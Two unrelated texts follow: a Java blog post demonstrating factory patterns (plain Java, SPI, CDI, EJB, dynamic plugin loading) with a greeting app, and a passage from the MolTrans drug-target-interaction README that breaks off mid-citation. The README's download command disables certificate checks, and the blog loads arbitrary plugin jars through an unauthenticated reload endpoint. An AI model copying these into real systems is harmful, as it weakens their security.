text:
---
title: Some factory examples.
tags: [Java EE, OpenLiberty, Payara Micro, Wildfly Swarm, CDI, EJB, SPI]
bigimg: "/images/Some_factory_examples/banner.jpg"
---

Every now and then I find myself scratching through some of my old code to find that example "where I did that factory like thing".

When this happened again last week I decided to just find all examples and create an [example project](https://github.com/phillip-kruger/factories-example) and blog post about it.

So in this post I:

* start with a plain "vanilla" [Java SE](https://en.wikipedia.org/wiki/Java_Platform,_Standard_Edition) factory example
* then one using Java SE [SPI](https://en.wikipedia.org/wiki/Service_provider_interface)
* [CDI](http://cdi-spec.org/) on Java SE
* CDI on [Java EE](https://en.wikipedia.org/wiki/Java_Platform,_Enterprise_Edition)
* [EJB](https://en.wikipedia.org/wiki/Enterprise_JavaBeans) on Java EE
* Dynamic SPI on Java SE
* and lastly SPI on Java EE

# The example.

This example app is a very simple "Hello World" that you can pass in a name and there are multiple ways to say hello.

![example_app](https://github.com/phillip-kruger/factories-example/raw/master/HighLevel.png "Example App")

The `Greeting Service` gets an instance of the `Greeting Factory`. It can then ask the factory for a `Greeting` (interface) by name, and the factory will return the correct implementation.

There are 3 concrete implementations:

* `English` will greet "Good day *name*."
* `Afrikaans` will greet "Goeie dag *name*." (see [https://www.youtube.com/watch?v=CtxB4sbV0pA](https://www.youtube.com/watch?v=CtxB4sbV0pA))
* `Bugs Bunny` will greet "Eeee, what's up *name* ?" (see [https://www.youtube.com/watch?v=UeVtZjGII-I](https://www.youtube.com/watch?v=UeVtZjGII-I))

All the [source code](https://github.com/phillip-kruger/factories-example) for this blog is available in Github:

```bash
    git clone https://github.com/phillip-kruger/factories-example
```

The [Greeting](https://github.com/phillip-kruger/factories-example/blob/master/vanilla/src/main/java/com/github/phillipkruger/factory/api/Greeting.java) interface:
```java
    public interface Greeting {
        public String getName();
        public String sayHello(String to);
    }
```

# Vanilla

This basic Java SE app has a main method that allows you to pass in your name and the way(s) you want to be greeted.

The [factory](https://github.com/phillip-kruger/factories-example/blob/master/vanilla/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java) is a basic `if-statement` to get the correct implementation:

```java
    public Greeting getGreeting(String name){
        if(name.equalsIgnoreCase("BugsBunny")){
            return new BugsBunny();
        }else if(name.equalsIgnoreCase("Afrikaans")){
            return new Afrikaans();
        }else {
            return new English();
        }
    }
```

An example of a concrete implementation, [English](https://github.com/phillip-kruger/factories-example/blob/master/vanilla/src/main/java/com/github/phillipkruger/factory/impl/English.java):

```java
    public class English implements Greeting {

        @Override
        public String sayHello(String to) {
            return "Good day " + to + ".";
        }

        @Override
        public String getName() {
            return "English";
        }
    }
```

### Run the example:

In the **vanilla** folder:

```bash
    mvn clean install
```

This will build the project and also run the app. The log will output:

```bash
    SEVERE:
    Good day Phillip.
    Goeie dag Phillip.
    Eeee, what's up Phillip ?
```

You can also run this outside of maven:

```bash
    java -jar target/vanilla-1.0.0-SNAPSHOT.jar World BugsBunny
    SEVERE:
    Eeee, what's up World ?
```

### Also see

* [https://alvinalexander.com/java/java-factory-pattern-example](https://alvinalexander.com/java/java-factory-pattern-example)

# Service provider interface (SPI)

The above example means I can very easily add another implementation, and update the `if statement` to return that implementation when asked.

However, it's that `if-statement` that we want to improve. We want to get to a point where I can add new implementations without having to modify existing code.
All I want to do is add the new implementation.

[SPI](https://en.wikipedia.org/wiki/Service_provider_interface) is part of Java SE and is an API that allows you to build plug-able extentions.

### Breaking the application up into modules.

The first thing we are going to do is to [break the application up into modules](https://github.com/phillip-kruger/factories-example/blob/master/spi/pom.xml):

* API - This will contain the Greeting interface (our contract)
* Engine - This will contain the Service and Factory (and the default English implementation)
* Other implementations - All other implementations become their own module (So one for Afrikaans and one for Bugs Bunny etc.)

This already means I can add a new implementation by just creating a new module, not having to touch the code, just update the dependencies:

```xml
    <dependencies>
        <dependency>
            <groupId>${project.groupId}</groupId>
            <artifactId>spi-api</artifactId>
            <version>${project.version}</version>
        </dependency>

        <dependency>
            <groupId>${project.groupId}</groupId>
            <artifactId>spi-impl-afrikaans</artifactId>
            <version>${project.version}</version>
        </dependency>

        <dependency>
            <groupId>${project.groupId}</groupId>
            <artifactId>spi-impl-bugsbunny</artifactId>
            <version>${project.version}</version>
        </dependency>

    </dependencies>
```

### The mapping file

The concrete implementations need to register their `Greeting` class as a implementation by adding a file
 in `/src/main/resources/META-INF/services/` called `com.github.phillipkruger.factory.api.Greeting` (The fully qualified name of the interface)

And the contents of the file is the name of the implementation, example [Bugs Bunny](https://github.com/phillip-kruger/factories-example/blob/master/spi/spi-impl-bugsbunny/src/main/resources/META-INF/services/com.github.phillipkruger.factory.api.Greeting):

``` bash
    com.github.phillipkruger.factory.impl.BugsBunny
```

### The factory

The [factory](https://github.com/phillip-kruger/factories-example/blob/master/spi/spi-engine/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java) now needs to get all instances of Greetings:

```java
    ServiceLoader<Greeting> loader = ServiceLoader.load(Greeting.class);
    Iterator<Greeting> greetingIterator = loader.iterator();
    while (greetingIterator.hasNext()) {
        Greeting greeting = greetingIterator.next();
        loadedGreetings.put(greeting.getName(), greeting);
    }
```

Now we got rid of the `if-statement` in the factory.

### Run the example:

In the **spi** folder:

```bash
    mvn clean install
```

This will build the project and also run the app. The log will output:

```bash
    SEVERE:
    Good day Phillip.
    Goeie dag Phillip.
    Eeee, what's up Phillip ?
```

You can also run this outside of maven:

```bash
    java -jar spi-engine/target/spi-engine-1.0.0-SNAPSHOT-jar-with-dependencies.jar Johny Afrikaans
    SEVERE:
    Goeie dag Johny.
```

### Also see

* [https://docs.oracle.com/javase/tutorial/sound/SPI-intro.html](https://docs.oracle.com/javase/tutorial/sound/SPI-intro.html)

# Contexts and Dependency Injection (CDI)

The latest version of [CDI](http://docs.jboss.org/cdi/spec/2.0/cdi-spec.html) allows you to use CDI in Java SE. To create a factory, we are going to create our
[own annotation](https://github.com/phillip-kruger/factories-example/blob/master/cdi/cdi-api/src/main/java/com/github/phillipkruger/factory/api/GreetingProvider.java)
as part of the API called `GreetingProvider`:

```java
    @Qualifier
    @Retention(RetentionPolicy.RUNTIME)
    @Target(ElementType.TYPE)
    public @interface GreetingProvider {
        String value();
    }
```
Where the `value` is the name of the implementation.

And a [literal implementation](https://github.com/phillip-kruger/factories-example/blob/master/cdi/cdi-api/src/main/java/com/github/phillipkruger/factory/api/GreetingProviderLiteral.java) for the above:

```java
    @AllArgsConstructor
    public class GreetingProviderLiteral extends AnnotationLiteral<GreetingProvider> implements GreetingProvider {

        private final String name;

        @Override
        public String value() {
            return this.name;
        }
    }
```

This will allow us to annotate any concrete implementation (that is now a `RequestScoped` CDI Bean) with `@GreetingProvider`, example English:

```java
    @GreetingProvider("English")
    @RequestScoped
    public class English implements Greeting {

        @Override
        public String sayHello(String to) {
            return "Good day " + to + ".";
        }

        @Override
        public String getName() {
            return "English";
        }
    }
```

The [factory](https://github.com/phillip-kruger/factories-example/blob/master/cdi/cdi-engine/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java) change to find all `@GreetingProvider` classes:

```java
    public class GreetingFactory {

        @Inject @Any
        private Instance<Greeting> greetings;

        public Greeting getGreeting(String name) {
            Instance<Greeting> instance = greetings.select(new GreetingProviderLiteral(name));
            if(!instance.isUnsatisfied()){
                Greeting provider = instance.get();
                return provider;
            }else{
                return new English();
            }
        }

    }
```

So now we do not need the SPI mapping file anymore, there is no `if-statement` in the factory, but we still have to update the dependencies to include all implementations we want.

### Run the example:

In the **cdi** folder:

```bash
    mvn clean install
```

This will build the project and also run the app. The log will output:

```bash
    SEVERE:
    Good day Phillip.
    Goeie dag Phillip.
    Eeee, what's up Phillip ?
```

You can also run this outside of maven:

```bash
    java -jar cdi-engine/target/cdi-engine-1.0.0-SNAPSHOT-jar-with-dependencies.jar Charmaine BugsBunny
    SEVERE:
    Eeee, what's up Charmaine ?
```

### Also see

* [http://www.mastertheboss.com/jboss-frameworks/cdi/building-a-cdi-2-standalone-java-application](http://www.mastertheboss.com/jboss-frameworks/cdi/building-a-cdi-2-standalone-java-application)
* [http://www.adam-bien.com/roller/abien/entry/injecting_classes_in_java_se](http://www.adam-bien.com/roller/abien/entry/injecting_classes_in_java_se)

# CDI on Java EE

We can also use CDI to create the solution on an Application Server. We will now make the entry point a REST service (rather than a main method) so we need to create and
add an `ApplicationConfig` to enable JAX-RS:

```java
    @ApplicationPath("/api")
    public class ApplicationConfig extends Application {
    }
```

The `GreetingService` now becomes a REST Resource that allows you to do a `GET` passing the name as a `PathParam` and optional ways to greet as `QueryParam`:

```java
    @Path("/")
    @Produces(MediaType.APPLICATION_JSON)
    public class GreetingService {

        @Inject
        private GreetingFactory factory;

        @GET
        @Path("{to}")
        public String sayHello(@PathParam("to") String to, @QueryParam("way") List<String> way){
            //....
        }
    }
```

The [factory](https://github.com/phillip-kruger/factories-example/blob/master/javaee-cdi/javaee-cdi-engine/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java) and annotated `RequestScoped` CDI Bean implementations stay exactly the same as the CDI on Java SE example.

### Run the example:

This example can run on 3 different application servers (just to keep ourselves honest)

* [Wildfly Swarm](http://wildfly-swarm.io/)
* [Open Liberty](https://openliberty.io/)
* [Payara Micro](https://www.payara.fish/payara_micro)

(You **do not** have to download, install or configure anything, the maven build will do that)

In the **javaee-cdi** folder:

```bash
    mvn clean install -P wildfly
```

or

```bash
    mvn clean install -P liberty
```

or

```bash
    mvn clean install -P payara
```

In all 3 cases maven will:

* start the application server with the app deployed
* hit 2 REST Url's:
    * [http://localhost:8080/javaee-cdi-engine/api](http://localhost:8080/javaee-cdi-engine/api) (This list all implementations)
    * [http://localhost:8080/javaee-cdi-engine/api/Phillip](http://localhost:8080/javaee-cdi-engine/api/Phillip) (This says hello to Phillip with all implementations)
* shutdown the application server (except Payara)

So in the log you will see (something like):

```bash
===============================================
["BugsBunny","Afrikaans","English"]
===============================================

===============================================
["Eeee, what's up Phillip ?","Goeie dag Phillip.","Good day Phillip."]
===============================================
```

If you run Payara, the server does not shutdown, so you can also manually test the factory:

```bash
    wget -qO- http://localhost:8080/javaee-cdi-engine/api/Donald?way=BugsBunny
    ["Eeee, what's up Donald ?"]
```

# EJB on Java EE

Just to complete the examples, here is how you can do this with EJB's on Java EE (so no CDI - and thus also no custom annotation)

We just use JNDI to lookup a named EJB.

The `GreetingService` stays the same as the Java EE CDI example, so we still have a REST entry point. The concrete implementations now change to become EJBs, example English:

```java
    @Stateless
    @EJB(beanInterface = Greeting.class, beanName = "English", name = "English")
    public class English implements Greeting {

        @Override
        public String sayHello(String to) {
            return "Good day " + to + ".";
        }

        @Override
        public String getName() {
            return "English";
        }
    }

```

The [factory](https://github.com/phillip-kruger/factories-example/blob/master/javaee-ejb/javaee-ejb-engine/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java) now does a JNDI lookup based on the bean name:

```java
    @Log
    @Stateless
    public class GreetingFactory {

        @EJB(lookup = "java:module/English")
        private Greeting english; // default

        public Greeting getGreeting(String name) {
            Greeting g = lookup("java:module/" + name);
            if(g==null)return english;
            return g;
        }

        public List<Greeting> getAll(){

            List<Greeting> greetings = new ArrayList<>();

            try {

                InitialContext context = new InitialContext();

                NamingEnumeration<Binding> list = (NamingEnumeration<Binding>)context.listBindings("java:global/javaee-ejb-engine");

                while (list.hasMore()) {
                    Binding next = list.next();
                    if(next.getName().endsWith(Greeting.class.getName())){
                        Greeting g = lookup("java:global/javaee-ejb-engine/" + next.getName());
                        if(g!=null && !greetings.contains(g))greetings.add(g);
                    }
                }

            } catch (NamingException e) {
                throw new RuntimeException(e);
            }
            return greetings;
        }

        private Greeting lookup(String jndi){
            try {
                InitialContext context = new InitialContext();
                Object o = context.lookup(jndi);
                return (Greeting)o;
            } catch (NamingException e) {
                log.log(Level.SEVERE, "Could not lookup [{0}]", jndi);
                return null;
            }
        }
    }

```

### Run the example:

Similar to the Java EE CDI example, this runs on [Wildfly Swarm](http://wildfly-swarm.io/), [Open Liberty](https://openliberty.io/) and [Payara Micro](https://www.payara.fish/payara_micro)

In the **javaee-ejb** folder:

```bash
    mvn clean install -P wildfly
```
(or -P liberty or -P payara)

In all 3 cases maven will:

* start the application server with the app deployed
* hit 2 REST Url's:
    * [http://localhost:8080/javaee-ejb-engine/api](http://localhost:8080/javaee-ejb-engine/api) (This list all implementations)
    * [http://localhost:8080/javaee-ejb-engine/api/Phillip](http://localhost:8080/javaee-ejb-engine/api/Phillip) (This says hello to Phillip with all implementations)
* shutdown the application server (except Payara)

So in the log you will see (something like):

```bash
===============================================
["BugsBunny","Afrikaans","English"]
===============================================

===============================================
["Eeee, what's up Phillip ?","Goeie dag Phillip.","Good day Phillip."]
===============================================
```

If you run Payara, the server does not shutdown, so you can also manually test the factory:

```bash
    wget -qO- http://localhost:8080/javaee-ejb-engine/api/Barney?way=Afrikaans
    ["Goeie dag Barney."]
```

# Dynamic SPI

So up until now, the only thing we have to do when adding a new implementation is to create the module that contains the `Greeting` implementation and update the `pom.xml` to include
the new dependency.

Next let's see how to load the new implementation dynamically (so no need to update the dependency).

The implementations are exactly like the Java SE SPI example, including the mapping file, but now we can remove the modules as dependencies in the `pom.xml`:

```xml
    <dependencies>
        <dependency>
            <groupId>${project.groupId}</groupId>
            <artifactId>dynamic-spi-api</artifactId>
            <version>${project.version}</version>
        </dependency>

        <!-- This will be loaded dynamically
        <dependency>
            <groupId>${project.groupId}</groupId>
            <artifactId>dynamic-spi-impl-afrikaans</artifactId>
            <version>${project.version}</version>
        </dependency>

        <dependency>
            <groupId>${project.groupId}</groupId>
            <artifactId>dynamic-spi-impl-bugsbunny</artifactId>
            <version>${project.version}</version>
        </dependency>
        -->
    </dependencies>
```

And the [factory](https://github.com/phillip-kruger/factories-example/blob/master/dynamic-spi/dynamic-spi-engine/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java) looks like this:

```java
    public class GreetingFactory {

        private final Map<String,Greeting> loadedGreetings = new HashMap<>();

        public GreetingFactory(){

            URLClassLoader classloader = getURLClassLoader();

            ServiceLoader<Greeting> loader = ServiceLoader.load(Greeting.class, classloader);
            Iterator<Greeting> greetingIterator = loader.iterator();
            while (greetingIterator.hasNext()) {
                Greeting greeting = greetingIterator.next();
                loadedGreetings.put(greeting.getName(), greeting);
            }
        }

        public Greeting getGreeting(String name){
            if(loadedGreetings.containsKey(name)){
                return loadedGreetings.get(name);
            }else {
                return new English();
            }
        }

        private URLClassLoader getURLClassLoader(){

            File[] pluginFiles = getPluginFiles();

            ArrayList<URL> urls = new ArrayList<>();
            for(File plugin:pluginFiles){
                try{
                    URL pluginURL = plugin.toURI().toURL();
                    urls.add(pluginURL);
                }catch(MalformedURLException m){
                    log.log(Level.SEVERE, "Could not load [{0}], ignoring", plugin.getName());
                }

            }

            return new URLClassLoader(urls.toArray(new URL[]{}),GreetingFactory.class.getClassLoader());
        }

        private File[] getPluginFiles(){
            File loc = new File("plugins");
            File[] pluginFiles = loc.listFiles((File file) -> file.getPath().toLowerCase().endsWith(".jar"));
            return pluginFiles;
        }
    }
```

Basically, the factory will still use SPI's `ServiceLoader` to load the available greetings, but we pass a custom ClassLoader in.
We look for any jar file in the `plugins` folder and load those with `URLClassloader`.

This means I can now just create a new implementation module and drop the file in the `plugins` folder. Nice and plug-able.

### Run the example:

In the **dynamic-spi** folder:

```bash
    mvn clean install
```

This will build the project and also run the app. The log will output:

```bash
    SEVERE:
    Good day Phillip.
    Goeie dag Phillip.
    Eeee, what's up Phillip ?
```

You can also run this outside of maven:

```bash
    java -jar dynamic-spi-engine/target/dynamic-spi-engine-1.0.0-SNAPSHOT-jar-with-dependencies.jar Madonna BugsBunny
    SEVERE:
    Eeee, what's up Madonna ?
```

# Dynamic SPI on Java EE

Now whether this is a good idea is a different discussion, but just to show that it's possible, we will now use dynamic SPI to load the implementations on an Application server.
This means I can add a new implementation to a running server. So not only can I add a new implementation without touching the code or the dependencies, but I can also enable this new
implementation without having to restart the application.

The implementations look exactly like the Java SE SPI example, the `pom.xml` does not contain any implementation modules, and we now have a new class that load the modules in the `plugins` folder:

It's an `ApplicationScoped` CDI Bean that loads modules on startup. The modules can also be reloaded with REST:

```java
    @Path("/pluginloader")
    @ApplicationScoped
    @Log
    public class PluginLoader {

        @Produces @Named("Greetings")
        private final Map<String,Greeting> loadedGreetings = new HashMap<>();

        public void init(@Observes @Initialized(ApplicationScoped.class) ServletContext context) {
            loadPlugins();
        }

        @GET
        @Path("/reload")
        public Response loadPlugins(){
            ClassLoader classloader = getClassLoader();

            ServiceLoader<Greeting> loader = ServiceLoader.load(Greeting.class, classloader);
            Iterator<Greeting> greetingIterator = loader.iterator();
            while (greetingIterator.hasNext()) {
                Greeting greeting = greetingIterator.next();
                log.log(Level.SEVERE, "Adding provider [{0}]", greeting.getName());
                if(!loadedGreetings.containsKey(greeting.getName())){
                    loadedGreetings.put(greeting.getName(), greeting);
                }
            }

            return Response.ok("ok").build();
        }

        private ClassLoader getClassLoader(){

            File[] pluginFiles = getPluginFiles();
            if(pluginFiles!=null){
                ArrayList<URL> urls = new ArrayList<>();
                for(File plugin:pluginFiles){
                    try{
                        URL pluginURL = plugin.toURI().toURL();
                        urls.add(pluginURL);
                    }catch(MalformedURLException m){
                        log.log(Level.SEVERE, "Could not load [{0}], ignoring", plugin.getName());
                    }
                }
                return new URLClassLoader(urls.toArray(new URL[]{}),this.getClass().getClassLoader());
            }
            return this.getClass().getClassLoader();
        }

        private File[] getPluginFiles(){

            File loc = getPluginDirectory();
            if(loc==null)return null;
            File[] pluginFiles = loc.listFiles((File file) -> file.getPath().toLowerCase().endsWith(".jar"));
            return pluginFiles;

        }

        private File getPluginDirectory(){
            File plugins = new File("plugins");
            if(plugins.exists())return plugins;

            return null;
        }
    }
```

All the loaded `Greetings` are available in a `Map<String,Greeting>` that can be injected into the [factory](https://github.com/phillip-kruger/factories-example/blob/master/javaee-spi/javaee-spi-engine/src/main/java/com/github/phillipkruger/factory/GreetingFactory.java):

```java
    @RequestScoped
    @Log
    public class GreetingFactory {

        @Inject @Named("Greetings")
        private Map<String,Greeting> greetings;

        // ...
    }
```

### Run the example:

Similar to the Java EE CDI and EJB example, this runs on [Wildfly Swarm](http://wildfly-swarm.io/), [Open Liberty](https://openliberty.io/) and [Payara Micro](https://www.payara.fish/payara_micro)

In the **javaee-spi** folder:

```bash
    mvn clean install -P wildfly
```

(or -P liberty or -P payara)

In all 3 cases maven will:

* start the application server with the app deployed
* hit 2 REST Url's:
    * [http://localhost:8080/javaee-spi-engine/api](http://localhost:8080/javaee-spi-engine/api) (This list all implementations)
    * [http://localhost:8080/javaee-spi-engine/api/Phillip](http://localhost:8080/javaee-spi-engine/api/Phillip) (This says hello to Phillip with all implementations)
* shutdown the application server (except Payara)

So in the log you will see (something like):

```bash
===============================================
["BugsBunny","Afrikaans","English"]
===============================================

===============================================
["Eeee, what's up Phillip ?","Goeie dag Phillip.","Good day Phillip."]
===============================================
```

If you run Payara, the server does not shutdown, so you can also manually test the factory:

```bash
    wget -qO- http://localhost:8080/javaee-spi-engine/api/Frans?way=Afrikaans
    ["Goeie dag Frans."]
```

Currently in the `plugins` folder you will see the 2 known implementations (Afrikaans and Bugs Bunny):

```bash
    ls javaee-spi-engine/plugins/
    javaee-spi-impl-afrikaans-1.0.0-SNAPSHOT.jar  javaee-spi-impl-bugsbunny-1.0.0-SNAPSHOT.jar
```

That was copied there when we built those implementations.

Now, let's leave the server running, and add a new way to greet you called **Ali G.**
(see [https://www.youtube.com/watch?v=b00lc92lExw](https://www.youtube.com/watch?v=b00lc92lExw))

```bash
    cd javaee-spi-impl-alig
    mvn clean install -P plugin
```

This will copy the **Ali G** implementation to the `plugins` folder.

Now let's greet Frans again:

```bash
    wget -qO- http://localhost:8080/javaee-spi-engine/api/Frans?way=AliG
    ["Booyakasha Frans !"]
```

So we can add a new concrete implementation to a running server.

# The End

That is it (for now). Any comments and your own examples welcome !


text:
# MolTrans

[中文版本](./README_cn.md) [English Version](./README.md)

* [Background](#background)
* [Datasets](#datasets)
    * [DAVIS](#davis)
    * [KIBA](#kiba)
    * [BioSNAP](#biosnap)
    * [BindingDB](#bindingdb)
    * [ChEMBL](#chembl)
* [Instructions](#instructions)
    * [Dependencies installation](#dependencies-installation)
    * [Model configuration](#model-configuration)
    * [Training and evaluation](#training-and-evaluation)
* [Reference](#reference)

## Background

In the process of in-silico drug discovery, drug target interaction(DTI) prediction plays a fundamental role. However, it is not an easy task due to time-consuming and costly experimental search over large drug compound space. Recent years have witnessed rapid progress for deep learning in DTI predictions. Among all of the methods, MolTrans shows impressive performance on both classification and regression tasks in DTI compared to state-of-the-art baselines. It leverages an augmented Transformer encoder to capture abundant semantic relations among substructures extracted from massive unlabeled biomedical data. Besides, it makes use of knowledge inspired substructural pattern mining algorithm and interaction modeling module for more accurate and interpretable DTI prediction.

## Datasets

In order to run the experiments, you need to download all related datasets and put them under `/apps/drug_target_interaction/moltrans_dti/`. If you don't have `wget`, you could also copy the url below into your web browser to download them.

```sh
cd /apps/drug_target_interaction/moltrans_dti/
wget "https://baidu-nlp.bj.bcebos.com/PaddleHelix/datasets/dti_datasets/dti_dataset.tgz" --no-check-certificate
tar -zxvf "dti_dataset.tgz"
```

After downloading the datasets, the `dataset` folder looks like:

```txt
dataset
├── classification
│   ├── BindingDB
│   │   ├── test.csv
│   │   ├── train.csv
│   │   └── val.csv
│   ├── BIOSNAP
│   │   ├── full_data
│   │   │   ├── test.csv
│   │   │   ├── train.csv
│   │   │   └── val.csv
│   │   ├── missing_data
│   │   │   ├── 70
│   │   │   ├── 80
│   │   │   ├── 90
│   │   │   └── 95
│   │   ├── unseen_drug
│   │   │   ├── test.csv
│   │   │   ├── train.csv
│   │   │   └── val.csv
│   │   └── unseen_protein
│   │       ├── test.csv
│   │       ├── train.csv
│   │       └── val.csv
│   └── DAVIS
│       ├── test.csv
│       ├── train.csv
│       └── val.csv
└── regression
    ├── benchmark
    │   ├── DAVIStest
    │   └── KIBAtest
    ├── BindingDB
    │   ├── bindingDB cleanup.R
    │   ├── BindingDB_Kd.txt
    │   ├── BindingDB_SMILES_new.txt
    │   ├── BindingDB_SMILES.txt
    │   ├── BindingDB_Target_Sequence_new.txt
    │   └── BindingDB_Target_Sequence.txt
    ├── ChEMBL
    │   ├── Chem_Affinity.txt
    │   ├── Chem_Kd_nM.txt
    │   ├── Chem_SMILES_only.txt
    │   ├── Chem_SMILES.txt
    │   ├── ChEMBL cleanup.R
    │   └── ChEMBL_Target_Sequence.txt
    ├── DAVIS
    │   ├── affinity.txt
    │   ├── SMILES.txt
    │   └── target_seq.txt
    └── KIBA
        ├── affinity.txt
        ├── SMILES.txt
        └── target_seq.txt
```

In the original work of MolTrans, it only contains classification task. Here we provide datasets for both classification and regression tasks of DTI.

### DAVIS

DAVIS contains the binding affinities of 72 kinase inhibitors with 442 kinases covering >80% of the human catalytic protein kinome, measured as Kd constant (equilibrium dissociation constant). The smaller the Kd value, the greater the binding affinity of the drug for its target.

### KIBA

KIBA contains the binding affinities for 2,116 drugs and 229 targets. Comparing to DAVIS, some drug-target pairs do not have affinity labels. Moreover, the affinity in KIBA is measured as KIBA scores, which were constructed to optimize the consistency among Ki, Kd, and IC50 by utilizing the statistical information they contained.

### BioSNAP

BioSNAP contains many large biomedical networks that are ready-to-use for method development, algorithm evaluation, benchmarking, and network science analyses. It is a collection diverse biomedical networks, including protein-protein interaction networks, single-cell similarity networks, drug-drug interaction networks.

### BindingDB

BindingDB is a publicly accessible database containing approximately 20,000 experimentally determined binding affinities of protein-ligand complexes, for 110 protein targets including isoforms and mutational variants, and approximately 11,000 small molecule ligands.

### ChEMBL

ChEMBL is an open large-scale bioactivity database. In total, there are >1.6 million distinct compound structures represented in the database, with 14 million activity values from >1.2 million assays. These assays are mapped to ∼11,000 targets, including 9,052 proteins (of which 4,255 are human).

## Instructions

### Dependencies installation

Before playing, you need to install all dependencies and packages indicated in `/apps/drug_target_interaction/moltrans_dti/requirement.txt/`.

| name         | version |
| ------------ | ---- |
| numpy        | - |
| pandas       | - |
| paddlepaddle | \>=2.0.0rc0 |
| subword-nmt  | \>=0.3.7 |
| scipy        | - |
| scikit-learn | - |
| visualdl     | - |
| PyYAML       | - |

('-' means no specific version requirement for that package)

### Model configuration

The script `double_towers.py` under `/apps/drug_target_interaction/moltrans_dti/` describes the detailed structure of MolTrans model. The model configurations, which is in `config.json`, mostly match the original paper are following:

```txt
    "drug_max_seq": 50,               # Max length of drug sequence
    "target_max_seq": 545,            # Max length of protein sequence
    "emb_size": 384,                  # Embedding size
    "input_drug_dim": 23532,          # Length of drug vocabulary
    "input_target_dim": 16693,        # Length of protein vocabulary
    "interm_size": 1536,              # Latent size
    "num_attention_heads": 12,        # Number of attention heads
    "flatten_dim": 81750,             # Flatten size
    "layer_size": 2,                  # Layer size of transformer blocks
    "dropout_ratio": 0.1,             # Dropout rate
    "attention_dropout_ratio": 0.1,   # Dropout rate within attention
    "hidden_dropout_ratio": 0.1       # Dropout rate within hidden states
```

### Training and evaluation

For **classification** task, you can just run the script `train_cls.py`. If you want to try other datasets, just select one from `cls_davis`, `cls_biosnap`, `cls_bindingdb`. The basic usage with default settings is following:

```sh
CUDA_VISIBLE_DEVICES=0 python train_cls.py --batchsize 64 --epochs 200 --lr 5e-4 --dataset cls_davis
```

For evaluation, we use AUROC as a standard metric for the classification task. The larger AUROC, the better. The comparisons of different methods on DAVIS are following:

| Methods        |  AUROC      |
| :--:           |  :--:       |
| LR             | 0.835±0.010 |
| DNN            | 0.864±0.009 |
| GNN-CPI        | 0.840±0.012 |
| DeepDTI        | 0.861±0.002 |
| DeepDTA        | 0.880±0.007 |
| DeepConv-DTI   | 0.884±0.008 |
| MolTrans       | 0.907±0.002 |
| Ours(MolTrans) | 0.912±0.002 |

For **regression** task, you can just run the script `train_reg.py`. If you want to try other datasets, just select one from `raw_chembl_pkd`, `raw_chembl_kd`, `raw_bindingdb_kd`, `raw_davis`, `raw_kiba`, `benchmark_davis`, `benchmark_kiba`. The basic usage with default settings is following:

```sh
CUDA_VISIBLE_DEVICES=0 python train_reg.py --batchsize 64 --epochs 200 --lr 5e-4 --dataset benchmark_davis
```

For evaluation, we use MSE and concordance index(CI) as standard metrics for the regression task. The smaller MSE, the better. While the larger CI, the better.

The comparisons of different methods on DAVIS are following:

| Methods           | MSE        | CI        |
| :--:              | :--:       | :--:      |
| WideDTA           | 0.262      | 0.886     |
| GraphDTA_GIN      | 0.229      | 0.893     |
| GraphDTA+pretrain | 0.225      | 0.899     |
| DGraphDTA         | 0.202      | 0.904     |
| Ours(MolTrans)    | 0.199      | 0.901     |

The comparisons of different methods on KIBA are following:

| Methods           | MSE        | CI        |
| :--:              | :--:       | :--:      |
| WideDTA           | 0.179      | 0.875     |
| GraphDTA_GIN      | 0.139      | 0.891     |
| GraphDTA+pretrain | 0.135      | 0.896     |
| DGraphDTA         | 0.126      | 0.904     |
| Ours(MolTrans)    | 0.132      | 0.898     |

## Reference

**MolTrans**
```bibtex
@article{huang2021moltrans,
  title={MolTrans: Molecular Interaction Transformer for drug--target interaction prediction},
  author={Huang, Kexin and Xiao, Cao and Glass, Lucas M and Sun, Jimeng},
  journal={Bioinformatics},
  volume={37},
  number={6},
  pages={830--836},
  year={2021},
  publisher={Oxford University Press}
}
```

**DAVIS**
```bibtex
@article{10.1038/nbt.1990,
    author = {Mindy I Davis, Jeremy P Hunt, Sanna Herrgard, Pietro Ciceri, Lisa M Wodicka, Gabriel Pallares, Michael Hocker, Daniel K Treiber and Patrick P Zarrinkar},
    title = {Comprehensive analysis of kinase inhibitor selectivity},
    journal = {Nature Biotechnology},
    year = {2011},
    url = {https://doi.org/10.1038/nbt.1990}
}
```

**KIBA**
```bibtex
@article{doi:10.1021/ci400709d,
    author = {Tang, Jing and Szwajda, Agnieszka and Shakyawar, Sushil and Xu, Tao and Hintsanen, Petteri and Wennerberg, Krister and Aittokallio, Tero},
    title = {Making Sense of Large-Scale Kinase Inhibitor Bioactivity Data Sets: A Comparative and Integrative Analysis},
    journal = {Journal of Chemical Information and Modeling},
    volume = {54},
    number = {3},
    pages = {735-743},
    year = {2014},
    doi = {10.1021/ci400709d},
    note = {PMID: 24521231},
    url = {https://doi.org/10.1021/ci400709d}
}
```

**BioSNAP**
```bibtex
@misc{biosnapnets,
    author = {Marinka Zitnik, Rok Sosi\v{c}, Sagar Maheshwari, and Jure Leskovec},
    title = {BioSNAP Datasets: Stanford Biomedical Network Dataset Collection},
    month = aug,
    year = 2018,
    url = {http://snap.stanford.edu/biodata}
}
```

**BindingDB**
```bibtex
@article{10.1093/nar/gkv1072,
    author = {Gilson, Michael K. and Liu, Tiqing and Baitaluk, Michael and Nicola, George and Hwang, Linda and Chong, Jenny},
    title = {BindingDB in 2015: A public database for medicinal chemistry, computational chemistry and systems pharmacology},
    journal = {Nucleic Acids Research},
    volume = {44},
    number = {D1},
    pages = {D1045-D1053},
    year = {2015},
    month = {10},
    issn = {0305-1048},
    doi = {10.1093/nar/gkv1072},
    url = {https://doi.org/10.1093/nar/gkv1072}
}
```

**ChEMBL**
```bibtex
@article{10.1093/nar/gkw1074,
    author = {Gaulton, Anna and Hersey, Anne and Nowotka, Michał and Bento, A. Patrícia and Chambers, Jon and Mendez, David and Mutowo, Prudence and Atkinson, Francis and Bellis, Louisa J. and Cibrián-Uhalte, Elena and Davies, Mark and Dedman, Nathan and Karlsson, Anneli and Magariños, María Paula and Overington, John P. and Papadatos, George and Smit, Ines and Leach, Andrew R.},
    title = {The ChEMBL database in 2017},
    journal = {Nucleic Acids Research},
    volume = {45},
    number = {D1},
    pages = {D945-D954},
    year = {2016},
    month = {11},
    doi = {10.1093/nar/gkw1074},
